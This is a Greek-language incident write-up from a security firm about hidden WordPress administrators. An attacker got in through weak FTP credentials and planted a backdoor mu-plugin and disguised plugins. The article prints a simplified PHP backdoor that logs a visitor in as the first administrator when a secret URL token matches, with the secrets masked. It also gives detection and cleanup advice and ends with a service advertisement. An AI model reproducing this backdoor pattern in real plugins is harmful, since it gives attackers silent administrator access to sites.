Cyber Security · Περίπτωση

Κρυφοί administrators σε WordPress, παρότι έτρεχε Wordfence Premium

· WordPress · FTP · mu-plugins

Ένας ιστότοπος WordPress με ενεργή συνδρομή Wordfence Premium απέκτησε άγνωστους λογαριασμούς administrator. Η αιτία δεν ήταν κάποιο ευάλωτο plugin, αλλά μια αδύναμη σύνδεση FTP και λίγα αρχεία PHP που έμοιαζαν αθώα.

Σύνοψη

  • Είσοδος: αδύναμα στοιχεία σύνδεσης FTP.
  • Πρώτο backdoor: αρχείο sso.php στον φάκελο wp-content/mu-plugins.
  • Μόνιμη πρόσβαση: plugins με ονόματα όπως Data Shelf, Site Guard 90E8 και Html Tool 5014.
  • Αποτέλεσμα: σύνδεση ως administrator με ένα απλό URL και δημιουργία κρυφών λογαριασμών.
  • Wordfence: δεν έβγαλε καμία ειδοποίηση για τα αρχεία αυτά.

Πώς έγινε η επίθεση

1. Αδύναμη σύνδεση FTP

Ο επιτιθέμενος μπήκε μέσω FTP, όχι από τη φόρμα σύνδεσης του WordPress. Έτσι παρέκαμψε εντελώς το firewall, τα όρια προσπαθειών και το 2FA του Wordfence, που προστατεύουν μόνο το login του WordPress. Με πρόσβαση στα αρχεία, μπορούσε να ανεβάσει ό,τι ήθελε.

2. Backdoor στο mu-plugins

Τα αρχεία στο wp-content/mu-plugins («must-use» plugins) φορτώνονται αυτόματα σε κάθε αίτημα, δεν απενεργοποιούνται από το διαχειριστικό και πολλοί διαχειριστές δεν ελέγχουν ποτέ αυτή τη λίστα. Το sso.php παρουσιαζόταν ως plugin «Single Sign-On». Όταν η κλήση περιείχε συγκεκριμένες παραμέτρους στο URL και ένα σωστό hash, ο επισκέπτης συνδεόταν αυτόματα ως ο πρώτος administrator του site και από εκεί όλα ήταν ανοιχτά.

Κώδικας του κακόβουλου mu-plugin sso.php
Το mu-plugins/sso.php: με τις σωστές παραμέτρους URL συνδέει τον επισκέπτη ως administrator.

3. Plugins με ονόματα που δεν τραβούν την προσοχή

Με πρόσβαση administrator, ανέβηκαν plugins με ουδέτερες περιγραφές, όπως «Small maintenance toolkit» ή «Streamlines database queries». Όλα κάνουν το ίδιο: ελέγχουν μια κρυφή παράμετρο στο URL και ένα token γραμμένο μέσα στον κώδικα, και αν ταιριάζουν, συνδέουν τον επισκέπτη ως administrator χωρίς κωδικό. Σε απλοποιημένη μορφή, με τα μυστικά κρυμμένα (και στα παρακάτω στιγμιότυπα ο κώδικας είναι ο πραγματικός, με τα tokens, τους κωδικούς και τις κρυφές παραμέτρους καλυμμένα):

add_action('init', function () {
    // Κρυφή παράμετρος URL + token γραμμένο μέσα στον κώδικα
    if (isset($_GET['[ΚΡΥΦΟ_ΟΝΟΜΑ]']) && hash_equals('[ΚΡΥΦΟ_TOKEN]', $_GET['[ΚΡΥΦΟ_ΟΝΟΜΑ]'])) {
        $admins = get_users(['role' => 'administrator', 'number' => 1]);
        wp_set_current_user($admins[0]->ID);   // γίνεται ο πρώτος administrator
        wp_set_auth_cookie($admins[0]->ID);    // χωρίς κωδικό, χωρίς 2FA
        wp_redirect(admin_url());
        exit;
    }
});

Το Data Shelf δημιουργεί επιπλέον δικό του λογαριασμό και του δίνει δικαιώματα manage_options και install_plugins. Το Html Tool 5014 πάει ένα βήμα πιο πέρα: φτιάχνει administrator με όνομα εμφάνισης «Media Staff» και τον κρύβει από τη λίστα χρηστών, αφαιρώντας τον ακόμη και από τον αριθμό των administrators. Για να μοιάζει νόμιμο, εκτελεί και μια πραγματική εργασία καθαρισμού της βάσης.

Κώδικας του κακόβουλου plugin Data Shelf
«Data Shelf»: δημιουργεί λογαριασμό με δικαιώματα εγκατάστασης plugins. Τα token και τα στοιχεία σύνδεσης έχουν κρυφτεί.
Κώδικας του κακόβουλου plugin Site Guard 90E8
«Site Guard 90E8»: σύνδεση ως administrator με μία κρυφή παράμετρο URL.
Κώδικας του κακόβουλου plugin Html Tool 5014
«Html Tool 5014»: κρύβει τον λογαριασμό από τη λίστα χρηστών, δημιουργεί κρυφό administrator και συνδέει χωρίς κωδικό.

Γιατί δεν το εντόπισε το Wordfence

  • Τα αρχεία ανέβηκαν με FTP, όχι μέσω του WordPress, οπότε δεν πέρασαν από το firewall ούτε από τη φόρμα σύνδεσης.
  • Ο κώδικας δεν είναι κρυπτογραφημένος και δεν χρησιμοποιεί ύποπτες συναρτήσεις όπως eval ή base64_decode σε payload. Καλεί μόνο κανονικές συναρτήσεις του WordPress, όπως wp_set_auth_cookie και wp_insert_user.
  • Τα ονόματα, οι περιγραφές και οι παράμετροι είναι τυχαία ανά site, οπότε δεν υπάρχει γνωστή «υπογραφή» να ταιριάξει.
  • Ένα αίτημα με μια επιπλέον παράμετρο στο URL μοιάζει με κάθε άλλη επίσκεψη.

Τα αρχεία, όμως, ήταν εκεί και φαίνονταν: το «Html Tool 5014» το ανοίξαμε μέσα από το File Viewer του ίδιου του Wordfence. Χρειαζόταν κάποιος να τα κοιτάξει και να καταλάβει τι κάνουν.

Τι να ελέγξετε στο δικό σας WordPress

  1. Τον φάκελο wp-content/mu-plugins: κάθε αρχείο εκεί πρέπει να το αναγνωρίζετε.
  2. Τα εγκατεστημένα plugins: όποιο δεν εγκαταστήσατε εσείς ή δεν υπάρχει στο wordpress.org, ελέγξτε το.
  3. Τους χρήστες κατευθείαν στη βάση (wp_users, wp_usermeta), όχι μόνο στο διαχειριστικό, γιατί η λίστα μπορεί να «κρύβει» λογαριασμούς.
  4. Τον πίνακα wp_options για άγνωστες εγγραφές, π.χ. ονόματα που τελειώνουν σε _uid, _ver ή _sync_token.
  5. Την ακεραιότητα των αρχείων του πυρήνα, π.χ. με wp core verify-checksums.

Αντιμετώπιση

  1. Αφαίρεση όλων των κακόβουλων αρχείων και των άγνωστων λογαριασμών.
  2. Αλλαγή όλων των κωδικών: FTP / hosting, βάση δεδομένων και όλοι οι administrators.
  3. Νέα security keys και salts στο wp-config.php, ώστε να ακυρωθούν όλες οι ενεργές συνδέσεις.
  4. Κλείσιμο του FTP. Μόνο SFTP, με ισχυρό κωδικό ή κλειδί, και αν γίνεται, περιορισμός ανά IP.
  5. Έλεγχος των logs του server για να φανεί πότε και από πού έγινε η είσοδος.
  6. Παρακολούθηση αλλαγών στα αρχεία και 2FA για όλους τους διαχειριστές.

Το συμπέρασμα: το Wordfence και τα αντίστοιχα εργαλεία κάνουν πολλούς και χρήσιμους ελέγχους, αλλά δεν βλέπουν τα πάντα. Πάντα χρειάζεται και ο ειδικός που μπορεί να προλάβει και να χειριστεί ένα τέτοιο περιστατικό. Δείτε και τις βασικές συμβουλές για κάθε website.

Θέλετε να ελέγξουμε το site σας;

Κάνουμε έλεγχο ασφαλείας, εντοπισμό backdoors, καθαρισμό και θωράκιση σε WordPress και custom web υποδομές με απόλυτη εχεμύθεια (NDA).

Φόρμα Άμεσης Επικοινωνίας

Συμπληρώστε τα στοιχεία σας και θα επικοινωνήσουμε άμεσα μαζί σας για την εξέταση ή τον έλεγχο του site σας.

Χρησιμοποιούμε τα στοιχεία σας αποκλειστικά για την επικοινωνία και τεχνική διερεύνηση του αιτήματός σας με απόλυτη εχεμύθεια. Διαβάστε την Πολιτική Απορρήτου.

Η φόρμα προστατεύεται από reCAPTCHA. Ισχύουν η Πολιτική Απορρήτου και οι Όροι Χρήσης της Google.

ΑΜΕΣΗ ΑΠΟΚΡΙΣΗ

Χρειάζεστε άμεση τεχνική συνδρομή;

Σε επείγοντα περιστατικά παραβίασης ή υποψίας backdoor, η ταχύτητα αντίδρασης περιορίζει τη ζημιά. Επικοινωνήστε απευθείας με τους μηχανικούς μας.

Άμεσοι Δίαυλοι Επικοινωνίας

Προτιμάτε άμεσο προγραμματισμό κλήσης;

Κλείστε 15-min κλήση τώρα
Σύμβαση Εχεμύθειας (NDA) κατόπιν αιτήματος
Χωρίς διάθεση δεδομένων σας σε τρίτους
Πλήρης αναφορά ευρημάτων & μέτρων θωράκισης